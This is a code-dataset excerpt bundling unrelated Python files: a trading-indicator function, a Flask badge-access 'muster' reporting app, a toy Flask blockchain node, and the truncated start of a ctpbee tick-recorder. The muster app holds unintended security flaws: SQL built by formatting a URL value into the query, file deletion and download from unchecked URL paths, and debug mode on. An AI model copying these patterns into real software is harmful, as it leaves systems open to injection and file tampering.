trendfreq_name = f\"{trend_name}{freq_big}\" # freg_small is 2, freq_big is 240\n # the following reason is that none of any single indicator can capture all. one need a second dimension to create a better fuzzy logic\n\n # 2. find all points where freq_small is higher/over/abv freq_big\n df[f\"{trendfreq_name}\"] = np.nan\n df[f\"{turnpoint_name}{freq_small}helper\"] = df[f\"{rsi_name}{freq_small}\"] / df[f\"{rsi_name}{freq_big}\"]\n\n freq_small_top_low, freq_small_top_high = list(df[f\"{rsi_name}{freq_small}\"].quantile([0.97, 1]))\n freq_small_bot_low, freq_small_bot_high = list(df[f\"{rsi_name}{freq_small}\"].quantile([0, 0.03]))\n\n freq_big_top_low, freq_big_top_high = list(df[f\"{rsi_name}{freq_big}\"].quantile([0.96, 1]))\n freq_big_bot_low, freq_big_bot_high = list(df[f\"{rsi_name}{freq_big}\"].quantile([0, 0.04]))\n\n # if bottom big and small freq are at their alltime rare high\n # df.loc[(df[f\"{rsi_name}{freq_big}\"] > freq_big_top_low), f\"{trendfreq_name}\"] = 0\n # df.loc[(df[f\"{rsi_name}{freq_big}\"] < freq_big_bot_high), f\"{trendfreq_name}\"] = 1\n\n # df.loc[(df[f\"{rsi_name}{freq_small}\"] > freq_small_top_low), f\"{trendfreq_name}\"] = 0\n # df.loc[(df[f\"{rsi_name}{freq_small}\"] < freq_small_bot_high), f\"{trendfreq_name}\"] = 1\n\n # small over big\n df.loc[(df[f\"{rsi_name}{freq_small}\"] / df[f\"{rsi_name}{freq_big}\"]) > 1.01, f\"{trendfreq_name}\"] = 1\n df.loc[(df[f\"{rsi_name}{freq_small}\"] / df[f\"{rsi_name}{freq_big}\"]) < 0.99, f\"{trendfreq_name}\"] = 0\n\n # 2. find all points that have too big distant between rsi_freq_small and rsi_freq_big. They are the turning points\n # top_low, top_high = list(df[f\"{turnpoint_name}{freq_small}helper\"].quantile([0.98, 1]))\n # bot_low, bot_high = list(df[f\"{turnpoint_name}{freq_small}helper\"].quantile([0, 0.02]))\n # df.loc[ (df[f\"{turnpoint_name}{freq_small}helper\"]) < bot_high, f\"{trendfreq_name}\"] = 1\n # df.loc[ (df[f\"{turnpoint_name}{freq_small}helper\"]) > top_low, f\"{trendfreq_name}\"] = 0\n\n # 3. Create trend based on these two combined\n df[trendfreq_name] = df[trendfreq_name].fillna(method='ffill')\n # df.loc[(df[phase_name + freq_big] == 1) & (df[phase_name + freq_small] == 1), trendfreq_name] = 0\n # df.loc[(df[phase_name + freq_big] == 0) & (df[phase_name + freq_small] == 0), trendfreq_name] = 1\n\n # fill na based on the trigger points. bfill makes no sense here\n # df[trendfreq_name].fillna(method='ffill', inplace=True)\n\n # remove RSI and phase Columns to make it cleaner\n a_remove = []\n for i in a_all:\n # a_remove.append(market_suffix + \"rsi\" + str(i))\n # a_remove.append(market_suffix + \"phase\" + str(i))\n pass\n LB.df_columns_remove(df, a_remove)\n\n # calculate final trend =weighted trend of previous\n return trend_name\n\n\ndef trend(df, abase, thresh_log=-0.043, thresh_rest=0.7237, market_suffix: str = \"\"):\n a_all = [1] + LB.c_bfreq()\n a_low = [str(x) for x in a_all][:-1]\n a_high = [str(x) for x in a_all][1:]\n\n rsi_name = indi_name(abase=abase, deri=f\"{market_suffix}rsi\")\n phase_name = indi_name(abase=abase, deri=f\"{market_suffix}phase\")\n trend_name = indi_name(abase=abase, deri=f\"{market_suffix}{ADeri.trend.value}\")\n\n func = talib.RSI\n # RSI and CMO are the best. CMO is a modified RSI\n # RSI,CMO,MOM,ROC,ROCR100,TRIX\n\n # df[f\"detrend{abase}\"] = signal.detrend(data=df[abase])\n for i in a_all: # RSI 1\n try:\n if i == 1:\n df[f\"{rsi_name}{i}\"] = (df[abase].pct_change() > 0).astype(int)\n # df[ rsi_name + \"1\"] = 0\n # df.loc[(df[\"pct_chg\"] > 0.0), rsi_name + \"1\"] = 1.0\n else:\n df[f\"{rsi_name}{i}\"] = func(df[abase], timeperiod=i) / 100\n\n # normalization causes error\n # df[f\"{rsi_name}{i}\"] = (df[f\"{rsi_name}{i}\"]-df[f\"{rsi_name}{i}\"].min())/ (df[f\"{rsi_name}{i}\"].max()-df[f\"{rsi_name}{i}\"].min())\n except Exception as e: # if error happens here, then no need to continue\n print(\"error\", e)\n df[trend_name] = np.nan\n return trend_name\n\n # Create Phase\n for i in [str(x) for x in a_all]:\n maximum = (thresh_log * math.log(int(i)) + thresh_rest)\n minimum = 1 - maximum\n df[f\"{phase_name}{i}\"] = [1 if x > maximum else 0 if x < minimum else np.nan for x in df[f\"{rsi_name}{i}\"]]\n\n # one loop to create trend from phase\n for freq_low, freq_high in zip(a_low, a_high):\n trendfreq_name = f\"{trend_name}{freq_high}\"\n df.loc[(df[phase_name + freq_high] == 1) & (df[phase_name + freq_low] == 1), trendfreq_name] = 1\n df.loc[(df[phase_name + freq_high] == 0) & (df[phase_name + freq_low] == 0), trendfreq_name] = 0\n\n # fill na based on the trigger points. bfill makes no sense here\n df[trendfreq_name].fillna(method='ffill', inplace=True)\n\n # remove RSI and phase Columns to make it cleaner\n a_remove = []\n for i in a_all:\n # a_remove.append(market_suffix + \"rsi\" + str(i))\n # a_remove.append(market_suffix + \"phase\" + str(i))\n pass\n LB.df_columns_remove(df, a_remove)\n\n # calculate final trend =weighted trend of previous\n df[trend_name] = df[f\"{trend_name}2\"] * 0.80 + df[f\"{trend_name}5\"] * 0.12 + df[f\"{trend_name}10\"] * 0.04 + df[f\"{trend_name}20\"] * 0.02 + df[f\"{trend_name}60\"] * 0.01 + df[f\"{trend_name}240\"] * 0.01\n return trend_name","sub_path":"Others/Deprecated/Infographic.py","file_name":"Infographic.py","file_ext":"py","file_size_in_byte":96001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"492136096","text":"\"\"\"\nThis muster widget will allow reporting based on in and out readers\nfor any given segment.\n\n09-28-2018\n\"\"\"\nimport os\nimport json\nimport pyodbc\nimport numpy\nimport pandas\nimport waitress\nimport smtplib\nimport atexit\nimport datetime\nimport re\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom apscheduler.triggers.interval import IntervalTrigger\nfrom apscheduler.triggers.cron import CronTrigger\nfrom email.message import EmailMessage\nfrom flask import Flask, redirect, request, render_template, send_file\n\nscheduler = BackgroundScheduler()\n\napp = Flask(__name__)\n\ndef db_connect():\n with open(\"db_login.json\", \"r\") as f:\n key_dict = json.load(f)\n db_driver = key_dict[\"driver\"]\n db_user = key_dict[\"username\"]\n db_pass = key_dict[\"password\"]\n try:\n connection_string = f\"DRIVER={{{db_driver}}};SERVER=USCTAPP41403\\\\PROD01;DATABASE=ACAMERICAS;UID={db_user};PWD={db_pass}\"\n connection = pyodbc.connect(connection_string)\n except:\n return None\n else:\n cursor = connection.cursor()\n return cursor\n\ndef db_odbc():\n with open(\"db_login.json\", \"r\") as f:\n key_dict = json.load(f)\n db_driver = key_dict[\"driver\"]\n db_user = key_dict[\"username\"]\n db_pass = key_dict[\"password\"]\n connection_string = f\"DRIVER={{{db_driver}}};SERVER=USCTAPP41403\\\\PROD01;DATABASE=ACAMERICAS;UID={db_user};PWD={db_pass}\"\n connection = pyodbc.connect(connection_string)\n\n return connection\n\ndef get_configs():\n if not os.listdir(\"configs/segments\"):\n return None\n else:\n config_file_list = [os.path.splitext(filename)[0] for filename in os.listdir(\"configs/segments\")]\n return config_file_list\n\ndef sql_safe_configs():\n return str(get_configs()).replace(\"[\", \"(\").replace(\"]\", \")\").replace('\"', \"'\")\n\ndef message_gen(segmentid):\n with open(\"configs/email_settings.json\", \"r\") as f:\n emails = json.load(f)\n\n body_content = \"\"\" This is an automated message from the Muster Reporting system.\n This message was sent from an unmonitored account. Please do not reply to it.\n Attached is the requested muster report.\"\"\"\n\n email_address_list = emails['emails']\n if email_address_list is None:\n pass\n else:\n msg = EmailMessage()\n msg[\"Subject\"] = \"Muster Report\"\n msg[\"From\"] = \"noreply@merck.com\"\n msg[\"To\"] = email_address_list\n msg.set_content(body_content)\n \n with open(\"report_files/{0}.xlsx\".format(segmentid), \"rb\") as current_sheet:\n msg.add_attachment(current_sheet.read(), maintype=\"application\", subtype=\"vnd.openxmlformats-officedocument.spreadsheetml.sheet\")\n\n return msg\n\ndef make_conversion_dict(segmentid):\n c_dict = {}\n with open(f\"configs/segments/{segmentid}.json\") as f:\n key_dict = json.load(f)\n for key,val in key_dict.items():\n m = re.match(r\"MACHINE=(?P(\\d+)) AND DEVID=(?P(\\d+))\", key)\n if c_dict.get(int(m.group(\"PanelID\"))):\n c_dict[int(m.group(\"PanelID\"))][int(m.group(\"ReaderID\"))] = val\n else:\n c_dict[int(m.group(\"PanelID\"))] = {int(m.group(\"ReaderID\")) : val}\n \n return c_dict\n\ndef report_create(segmentid):\n if segmentid == \"all\":\n conversion_dict = {}\n [conversion_dict.update(segment_dict) for segment_dict in [make_conversion_dict(sid) for sid in get_configs()]]\n else:\n conversion_dict = make_conversion_dict(segmentid)\n\n def status_function(row):\n nonlocal conversion_dict\n return(conversion_dict.get(row.PanelID).get(row.DeviceID))\n \n query_string = (\"\"\"\n SELECT EMP.SSNO, EVENTS.CARDNUM, READER.READERDESC, EVENTS.MACHINE AS PanelID, EVENTS.DEVID AS DeviceID,\n EVENT_TIME_UTC\n FROM EVENTS\n JOIN EMP ON (EVENTS.EMPID = EMP.ID)\n JOIN READER ON (READER.PANELID = EVENTS.MACHINE AND READER.READERID = EVENTS.DEVID)\n WHERE (EVENT_TIME_UTC > CAST(GETUTCDATE() AS DATE))\n \"\"\")\n\n try:\n report = pandas.read_sql(query_string, db_odbc())\n joiner = report.groupby(\"CARDNUM\")[\"EVENT_TIME_UTC\"].max()\n report = report.iloc[numpy.where(numpy.isin(report.PanelID, list(conversion_dict.keys())))]\n report = report.assign(STATUS=[status_function(row) for row in report.itertuples()])\n report = report.iloc[numpy.where((report.STATUS == 'in') | (report.STATUS == 'muster'))]\n report = report.merge(joiner.to_frame(), on=[\"CARDNUM\", \"EVENT_TIME_UTC\"])\n report = report.reset_index(drop=True)\n except Exception as e:\n print(e)\n report = pandas.DataFrame()\n\n return report\n\ndef num_report(segmentid):\n conversion_dict = {}\n\n with open(\"configs/segments/{0}.json\".format(segmentid), \"r\") as f:\n key_dict = json.load(f)\n for key,val in key_dict.items():\n m = re.match(r\"MACHINE=(?P(\\d+)) AND DEVID=(?P(\\d+))\", key)\n if conversion_dict.get(int(m.group(\"PanelID\"))):\n conversion_dict[int(m.group(\"PanelID\"))][int(m.group(\"ReaderID\"))] = val\n else:\n conversion_dict[int(m.group(\"PanelID\"))] = {int(m.group(\"ReaderID\")) : val}\n\n def status_function(row):\n nonlocal conversion_dict\n return(conversion_dict.get(row.PanelID).get(row.DeviceID))\n \n query_string = (\"\"\"\n SELECT EVENTS.CARDNUM, EVENTS.MACHINE AS PanelID, EVENTS.DEVID AS DeviceID,\n EVENT_TIME_UTC\n FROM EVENTS\n WHERE (EVENT_TIME_UTC > CAST(GETUTCDATE() AS DATE))\n AND (EVENTS.EVENTTYPE = 0)\n \"\"\")\n\n try:\n report = pandas.read_sql(query_string, db_odbc())\n joiner = pandas.DataFrame(report.groupby(\"CARDNUM\")[\"EVENT_TIME_UTC\"].max())\n report = report.iloc[numpy.where(numpy.isin(report.PanelID, list(conversion_dict.keys())))]\n report = report.assign(STATUS=[status_function(row) for row in report.itertuples()])\n report = report.iloc[numpy.where((report.STATUS == 'in') | (report.STATUS == 'muster'))]\n report = report.merge(joiner, on=[\"CARDNUM\", \"EVENT_TIME_UTC\"])\n report = report.reset_index(drop=True)\n except Exception as e:\n print(\"Exception occurred at num_report\")\n print(e)\n report = pandas.DataFrame()\n\n return len(report.index)\n\ndef auto_num_report():\n try:\n with open(\"configs/data_track.json\", \"r\") as fp:\n track_dict = json.load(fp)\n except Exception as e:\n print(e)\n track_dict = {}\n\n print(\"THINGS HAPPENED\")\n\n today = datetime.datetime.now().strftime(\"%m-%d-%Y\")\n hour = datetime.datetime.now().strftime(\"%H\")\n\n if not track_dict.get(\"total\"):\n track_dict[\"total\"] = {}\n\n for segmentid in get_configs():\n if not track_dict.get(segmentid):\n track_dict[segmentid] = {}\n\n if track_dict[segmentid].get(today):\n track_dict[segmentid][today][hour] = num_report(segmentid)\n else:\n track_dict[segmentid][today] = {hour : num_report(segmentid)}\n \n if track_dict[\"total\"].get(today):\n track_dict[\"total\"][today][hour] = sum([num_report(segmentid) for segmentid in get_configs()])\n else:\n track_dict[\"total\"][today] = {hour : sum([num_report(segmentid) for segmentid in get_configs()])}\n\n print(track_dict)\n\n with open(\"configs/data_track.json\", \"w\") as fp:\n json.dump(track_dict, fp)\n\ndef auto_report_save(segmentid):\n report = report_create(segmentid)\n report.to_excel(\"report_files/auto_reports/{0}.xlsx\".format(datetime.datetime.now().strftime(\"%Y-%m-%d %H%M\")))\n\n@app.route(\"/auto_data_view\")\ndef auto_data_view():\n try:\n q = f\"SELECT SEGMENTID, NAME FROM SEGMENT WHERE SEGMENTID IN {sql_safe_configs()}\"\n t = pandas.read_sql(q, db_odbc())\n segment_dict = dict(zip(map(str, t[\"SEGMENTID\"]), t[\"NAME\"]))\n print(segment_dict)\n except Exception as e:\n segment_dict = False\n print(e)\n\n try:\n with open(\"configs/data_track.json\", \"r\") as fp:\n loaded_frames = json.load(fp)\n frame_dict = {}\n for k,v in loaded_frames.items():\n frame_dict[k] = pandas.DataFrame.from_dict(v, orient=\"index\")\n frame_dict[k] = frame_dict[k].reindex(columns=['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23'])\n\n with pandas.ExcelWriter(\"report_files/data_view.xlsx\") as writer:\n for k,frame in frame_dict.items():\n frame.to_excel(writer, sheet_name=f\"{segment_dict.get(k, k)}\")\n except Exception as e:\n frame_dict = False\n print(e)\n \n return render_template(\"auto_report_view.html\", frame_dict=frame_dict, segment_dict=segment_dict, segmentid=\"data_view\")\n\n@app.route(\"/\")\ndef handler():\n with open(\"db_login.json\", \"r\") as f:\n key_dict = json.load(f)\n if not \"driver\" in key_dict:\n return redirect(\"/driver_select\")\n if not os.listdir(\"configs/segments\"):\n return redirect(\"/new_segment\")\n elif not os.path.isfile(\"configs/email_settings.json\"):\n return redirect(\"/email_settings\")\n elif not os.path.isfile(\"configs/auto_settings.json\"):\n return redirect(\"/auto_settings\")\n else:\n if not scheduler.running:\n auto_exists()\n return redirect(\"/admin_station\")\n\n@app.route(\"/driver_select\", methods=[\"GET\", \"POST\"])\ndef driver_select():\n if request.method == \"GET\":\n driver_list = pyodbc.drivers()\n return render_template(\"driver_select.html\", driver_list=driver_list)\n else:\n with open(\"db_login.json\", \"r\") as f:\n key_dict = json.load(f)\n key_dict[\"driver\"] = request.form[\"driver\"]\n\n with open(\"db_login.json\", \"w\") as f:\n json.dump(key_dict, f)\n \n return redirect(\"/\")\n\n@app.route(\"/new_segment\")\ndef new_segment():\n cursor = db_connect()\n if cursor is None:\n return render_template(\"error.html\")\n else:\n cursor.execute(\"SELECT SEGMENTID, NAME FROM SEGMENT\")\n return render_template(\"new_segment.html\", rows=cursor.fetchall())\n\n@app.route(\"/segment/\")\ndef segment_readers(segmentid):\n cursor = db_connect()\n try:\n cursor.execute(\"\"\"\n SELECT DISTINCT SEGMENT.SEGMENTID, SEGMENT.NAME, READER.PANELID, READER.READERID, READER.READERDESC\n FROM (((SEGMENT\n INNER JOIN ACCESSLVL ON ACCESSLVL.SEGMENTID = SEGMENT.SEGMENTID)\n INNER JOIN ACCLVLINK ON ACCESSLVL.ACCESSLVID = ACCLVLINK.ACCESSLVID)\n JOIN READER ON (READER.PANELID = ACCLVLINK.PANELID AND\n READER.READERID = ACCLVLINK.READERID))\n WHERE SEGMENT.SEGMENTID = {0}\n \"\"\".format(segmentid))\n except:\n return render_template(\"error.html\")\n rows = cursor.fetchall()\n return render_template(\"segment_readers.html\", rows=rows, segmentid=segmentid)\n\n@app.route(\"/segment//save\", methods=[\"POST\"])\ndef segment_save(segmentid):\n with open(\"configs/segments/{0}.json\".format(segmentid), \"w\") as fp:\n json.dump(request.form, fp)\n\n return render_template(\"segment_configured.html\")\n\n@app.route(\"/auto_settings\")\ndef auto_settings():\n try:\n with open(\"configs/auto_settings.json\") as fp:\n settings = json.load(fp)\n if settings.get(\"automation_on\") == \"on\":\n automation_on = \"checked\"\n else:\n automation_on = \"unchecked\"\n\n interval = int(settings.get(\"run_every\", 1))\n except:\n automation_on = \"checked\"\n interval = 1\n\n return render_template(\"auto_settings.html\", automation_on=automation_on, interval=interval)\n\n@app.route(\"/auto_save\", methods=[\"POST\"])\ndef auto_save():\n with open(\"configs/auto_settings.json\", \"w\") as fp:\n json.dump(request.form, fp)\n\n with open(\"configs/auto_settings.json\", \"r\") as f:\n settings = json.load(f)\n \n scheduler.remove_all_jobs()\n c_trig = CronTrigger(hour=\"0-23\")\n scheduler.add_job(auto_num_report, trigger=c_trig, hour=\"0-23\")\n if settings.get(\"automation_on\") == \"on\":\n trigger = IntervalTrigger(hours=int(settings[\"run_every\"]))\n scheduler.add_job(auto_report_save, trigger=trigger, args=[\"all\"], hours=int(settings[\"run_every\"]))\n else:\n #All jobs are removed and the scheduler is idle, which is fine\n pass\n\n try:\n scheduler.start()\n except: #already running\n pass\n\n return redirect(\"/\")\n\ndef auto_exists():\n with open(\"configs/auto_settings.json\", \"r\") as f:\n settings = json.load(f)\n \n scheduler.remove_all_jobs()\n c_trig = CronTrigger(hour=\"0-23\")\n scheduler.add_job(auto_num_report, trigger=c_trig, hour=\"0-23\")\n if settings.get(\"automation_on\") == \"on\":\n trigger = IntervalTrigger(hours=int(settings[\"run_every\"]))\n scheduler.add_job(auto_report_save, trigger=trigger, args=[\"all\"], hours=int(settings[\"run_every\"]))\n else:\n #All jobs are removed and the scheduler is idle, which is fine\n pass\n\n scheduler.start()\n\n@app.route(\"/list_auto_reports\")\ndef list_auto_reports():\n return render_template(\"auto_reports.html\", sheetlist=os.listdir(\"report_files/auto_reports/\"))\n\n@app.route(\"/delete_auto_report/\")\ndef delete_auto_report(sheetname):\n try:\n os.remove(\"report_files/auto_reports/{0}\".format(sheetname))\n except:\n pass\n \n return redirect(request.referrer)\n\n@app.route(\"/download_auto_report/\")\ndef download_auto_report(sheetname):\n return send_file(\"report_files/auto_reports/{0}\".format(sheetname))\n\n@app.route(\"/email_settings\")\ndef email_settings():\n save=False\n try:\n with open(\"configs/email_settings.json\") as fp:\n settings = json.load(fp)\n emails = settings[\"emails\"]\n except:\n emails = \"\"\n \n return render_template(\"email_settings.html\", save=save, emails=emails)\n\n@app.route(\"/email_save\", methods=[\"POST\"])\ndef email_save():\n with open(\"configs/email_settings.json\", \"w\") as fp:\n json.dump(request.form, fp)\n \n return redirect(\"/\")\n\n@app.route(\"/admin_station\")\ndef admin_station():\n cursor = db_connect()\n configured_segments = get_configs()\n count_dict = {}\n if configured_segments is None:\n rows = None\n else:\n try:\n segment_list = configured_segments\n for segmentid in segment_list:\n count_dict[int(segmentid)] = num_report(segmentid)\n\n q = \"SELECT SEGMENTID, NAME FROM SEGMENT WHERE SEGMENTID IN {0}\".format(sql_safe_configs())\n print(q)\n cursor.execute(q)\n rows = cursor.fetchall()\n except Exception as e:\n print(\"Exception happened in admin station function\")\n print(e)\n return render_template(\"error.html\")\n \n return render_template(\"admin_station.html\", rows=rows, count_dict=count_dict)\n\n@app.route(\"/report/\")\ndef report_gen(segmentid):\n report = report_create(segmentid)\n report.to_excel(\"report_files/{0}.xlsx\".format(segmentid))\n return render_template(\"report_gen.html\", rows=report, segmentid=segmentid)\n\n@app.route(\"/save_report/\")\ndef save_report(segmentid):\n return send_file(\"report_files/{0}.xlsx\".format(segmentid))\n\n@app.route(\"/email_report/\")\ndef email_report(segmentid):\n try:\n with smtplib.SMTP(host=\"mailhost.merck.com\", port=25) as s:\n s.ehlo()\n message = message_gen(segmentid)\n if message is None:\n pass\n else:\n s.send_message(message)\n except:\n return render_template(\"error.html\")\n\n return redirect(\"/\")\n\n@app.route(\"/delete_config/\")\ndef delete_config(segmentid):\n os.remove(\"configs/segments/{0}.json\".format(segmentid))\n return redirect(\"/\")\n\nif __name__ == (\"__main__\"):\n try:\n os.remove(\"configs/segments/delete.txt\")\n os.remove(\"configs/delete.txt\")\n os.remove(\"report_files/ignore.txt\")\n os.remove(\"report_files/auto_reports/ignore.txt\")\n except OSError:\n pass\n\n app.run(debug=True)\n ","sub_path":"muster_widget.py","file_name":"muster_widget.py","file_ext":"py","file_size_in_byte":16301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"213625482","text":"import hashlib\nimport json\nfrom time import time\nfrom uuid import uuid4\nimport sys\nfrom flask import Flask, jsonify, request\nimport requests\n\n\nclass Blockchain(object):\n def __init__(self):\n self.chain = []\n self.current_transactions = []\n self.nodes = set()\n\n self.genesis_block()\n\n def genesis_block(self):\n block = {\n 'index': 1,\n 'timestamp': 0,\n 'transactions': [],\n 'proof': 1,\n 'previous_hash': 1,\n }\n self.chain.append(block)\n\n def new_block(self, proof, previous_hash=None):\n \"\"\"\n Create a new Block in the Blockchain\n\n :param proof: The proof given by the Proof of Work algorithm\n :param previous_hash: (Optional) Hash of previous Block\n :return: New Block\n \"\"\"\n\n block = {\n 'index': len(self.chain) + 1,\n 'timestamp': time(),\n 'transactions': self.current_transactions,\n 'proof': proof,\n 'previous_hash': previous_hash or self.hash(self.chain[-1]),\n }\n\n # Reset the current list of transactions\n self.current_transactions = []\n\n self.chain.append(block)\n return block\n\n def new_transaction(self, sender, recipient, amount):\n \"\"\"\n Creates a new transaction to go into the next mined Block\n\n :param sender: Address of the Recipient\n :param recipient: Address of the Recipient\n :param amount: Amount\n :return: The index of the BLock that will hold this transaction\n \"\"\"\n\n self.current_transactions.append({\n 'sender': sender,\n 'recipient': recipient,\n 'amount': amount,\n })\n\n return self.last_block['index'] + 1\n\n @staticmethod\n def hash(block):\n \"\"\"\n Creates a SHA-256 hash of a Block\n\n :param block\": Block\n \"return\": \n \"\"\"\n # json.dumps converts json into a string\n # hashlib.sha246 is used to createa hash\n # It requires a `bytes-like` object, which is what\n # .encode() does. It convertes the string to bytes.\n # We must make sure that the Dictionary is Ordered,\n # or we'll have inconsistent hashes\n\n block_string = json.dumps(block, sort_keys=True).encode()\n\n # By itself, this function returns the hash in a raw string\n # that will likely include escaped characters.\n # This can be hard to read, but .hexdigest() converts the\n # hash to a string using hexadecimal characters, which is\n # easer to work with and understand. \n return hashlib.sha256(block_string).hexdigest()\n\n @property\n def last_block(self):\n return self.chain[-1]\n\n @staticmethod\n def valid_proof(block_string, proof):\n \"\"\"\n Validates the Proof: Does hash(block_string, proof) contain 6\n leading zeroes? Return true if the proof is valid\n :param block_string: The stringified block to use to\n check in combination with `proof`\n :param proof: The value that when combined with the\n stringified previous block results in a hash that has the\n correct number of leading zeroes.\n :return: True if the resulting hash is a valid proof, False otherwise\n \"\"\"\n hash = hashlib.sha256((f\"{block_string}{proof}\").encode()).hexdigest()\n return hash[:6] == \"000000\"\n\n def valid_chain(self, chain):\n \"\"\"\n Determine if a given blockchain is valid. We'll need this\n later when we are a part of a network.\n\n :param chain: A blockchain\n :return: True if valid, False if not\n \"\"\"\n\n prev_block = chain[0]\n current_index = 1\n\n while current_index < len(chain):\n block = chain[current_index]\n print(f'{prev_block}')\n print(f'{block}')\n print(\"\\n-------------------\\n\")\n # Check that the hash of the block is correct\n prev_hash = self.hash(prev_block)\n if prev_hash != block['previous_hash']:\n return False\n\n # Check that the Proof of Work is correct\n block_string = json.dumps(prev_block, sort_keys=True)\n if not self.valid_proof(block_string, block['proof']):\n return False\n\n prev_block = block\n current_index += 1\n\n return True\n\n def register_node(self, node):\n self.nodes.add(node)\n\n def allert_nodes(self, block):\n for node in self.nodes:\n response = requests.post(node + '/block/new', json={'block': block})\n message = response.json()['message']\n print(f'Block broadcasted to {node}: {message}')\n\n def get_updated_chain(self):\n longest_chain = self.chain\n for node in self.nodes:\n response = requests.get(node + '/chain')\n node_chain = response.json()['chain']\n if self.valid_chain(node_chain):\n if len(node_chain) > longest_chain:\n longest_chain = node_chain\n if longest_chain is not self.chain:\n self.chain = longest_chain\n print(f\"Chain has been changed to {longest_chain}\")\n\n\n# Instantiate our Node\napp = Flask(__name__)\n\n# Generate a globally unique address for this node\n# node_identifier = str(uuid4()).replace('-', '')\n\n# Instantiate the Blockchain\nblockchain = Blockchain()\n\n\n@app.route('/mine', methods=['POST'])\ndef mine():\n values = request.get_json()\n required = ['proof', 'id']\n if not all(k in values for k in required):\n return 'Missing values', 400\n\n # check validity of proof\n last_block = blockchain.last_block\n block_string = json.dumps(last_block, sort_keys=True)\n if not blockchain.valid_proof(block_string, values['proof']):\n return 'Proof not valid', 400\n\n # We must receive a reward for finding the proof.\n blockchain.new_transaction(\n sender=\"0\",\n recipient=values['id'],\n amount=1\n )\n # The sender is \"0\" to signify that this node has mine a new coin\n # The recipient is the current node, it did the mining!\n # The amount is 1 coin as a reward for mining the next block\n\n # Forge the new Block by adding it to the chain\n previous_hash = blockchain.hash(last_block)\n block = blockchain.new_block(values['proof'], previous_hash)\n\n # Let all the other nodes know that a new block has been created\n blockchain.allert_nodes(block)\n\n # Send a response with the new block\n response = {\n 'message': \"New Block Forged\",\n 'index': block['index'],\n 'transactions': block['transactions'],\n 'proof': block['proof'],\n 'previous_hash': block['previous_hash'],\n }\n return jsonify(response), 200\n\n\n@app.route('/transactions/new', methods=['POST'])\ndef new_transaction():\n values = request.get_json()\n\n # Check that the required fields are in the POST'ed data\n required = ['sender', 'recipient', 'amount']\n if not all(k in values for k in required):\n return 'Missing Values', 400\n\n # Create a new Transaction\n index = blockchain.new_transaction(values['sender'],\n values['recipient'],\n values['amount'])\n\n response = {'message': f'Transaction will be added to Block {index}'}\n return jsonify(response), 201\n\n\n@app.route('/chain', methods=['GET'])\ndef full_chain():\n response = {\n \"chain\": blockchain.chain,\n \"length\": len(blockchain.chain)\n }\n return jsonify(response), 200\n\n\n@app.route('/validate_chain', methods=['GET'])\ndef validate_chain():\n valid = blockchain.valid_chain(blockchain.chain)\n response = {\n \"valid\": valid\n }\n return jsonify(response), 200\n\n\n@app.route('/last_block', methods=['GET'])\ndef last():\n last_block = blockchain.last_block\n response = {\n 'last_block': last_block\n }\n return jsonify(response), 200\n\n\n#############Additional Code Added by our Colleagues################\n\n@app.route('/block/new', methods=['POST'])\ndef new_block():\n values = request.get_json()\n\n # Check that the required fields are in the POST'ed data\n required = ['block']\n if not all(k in values for k in required):\n return 'Missing Values', 400\n\n new_block = values['block']\n last_block = blockchain.last_block\n # Check that the new block index is 1 higher than our last block\n if new_block['index'] == last_block['index'] + 1:\n # check that the new block 'previous_hash' is same as last_block hashed\n if blockchain.hash(last_block) == new_block['previous_hash']:\n # check that it has a valid proof\n block_string = json.dumps(last_block, sort_keys=True)\n if blockchain.valid_proof(block_string, new_block['proof']):\n # new block is valid, add it to the chain\n blockchain.chain.append(new_block)\n response = {\n 'message': \"New block added to chain\"\n }\n else:\n response = {\n 'message': \"New block has invalid proof\"\n }\n else:\n response = {\n 'message': \"New block has invalid previous hash\"\n }\n else:\n blockchain.get_updated_chain()\n response = {\n 'message': \"New block has an invalid index. Updated chain.\"\n }\n return jsonify(response), 200\n\n\n@app.route('/nodes/register', methods=['POST'])\ndef register_nodes():\n values = request.get_json()\n nodes = values.get('nodes')\n if nodes is None:\n return \"Error: Please supply a valid list of nodes\", 400\n\n for node in nodes:\n blockchain.register_node(node)\n\n response = {\n 'message': 'New nodes have been added',\n 'total_nodes': list(blockchain.nodes),\n }\n return jsonify(response), 201\n\nif __name__ == '__main__':\n if len(sys.argv) > 1:\n port = int(sys.argv[1])\n else:\n port = 5000\n app.run(host='0.0.0.0', port=port)","sub_path":"communication_gp/blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":10189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"270682022","text":"from datetime import datetime\nfrom functools import total_ordering\nfrom queue import Queue\n\nfrom ctpbee import CtpbeeApi, auth_time\nfrom pymongo import MongoClient\n\nDATABASE_NAME = \"ctpbee_tick\"\nmongo_client = MongoClient()\ndatabase_c = mongo_client[DATABASE_NAME]\n\ncontract_client = MongoClient(host=\"192.168.2.118\")[\"QAREALTIME\"][\"contract\"]\n\n\n@total_ordering\nclass TimeIt:\n \"\"\" 主要是来实现一个减法\"\"\"\n\n def __init__(self, datetime_obj: datetime):\n self._datetime = datetime_obj\n\n def __sub__(self, other: datetime):\n \"\"\"\n 实现减法操作\n 返回绝对值\n \"\"\"\n if not isinstance(other, TimeIt) and not isinstance(other, datetime):\n raise ValueError(\"参数类型不同无法使用减法\")\n if isinstance(other, datetime):\n return int(abs(self._datetime.timestamp() - other.timestamp()))\n elif isinstance(other, TimeIt):\n return int(abs(self._datetime.timestamp() - other._datetime.timestamp()))\n\n def __eq__(self, other):\n if isinstance(other, datetime):\n return self._datetime == other\n elif isinstance(other, TimeIt):\n return self._datetime == other._datetime\n\n def __lt__(self, other):\n if isinstance(other, datetime):\n return self._datetime < other\n elif isinstance(other, TimeIt):\n return self._datetime < other._datetime\n\n\n# class Market(CtpbeeApi):\n# def __init__(self, name):\n# super().__init__(name)\n# # 创建一个datetime队列\n# self.datetime_queue = Queue()\n# # 队列长度\n# self.queue_length = 5\n#\n# def on_bar(self, bar):\n# \"\"\" 处理k线数据 \"\"\"\n#\n# def on_contract(self, contract):\n# \"\"\" 订阅到推送过来的合约 \"\"\"\n# self.action.subscribe(contract.local_symbol)\n#\n# def on_tick(self, tick):\n# \"\"\" 处理tick信息 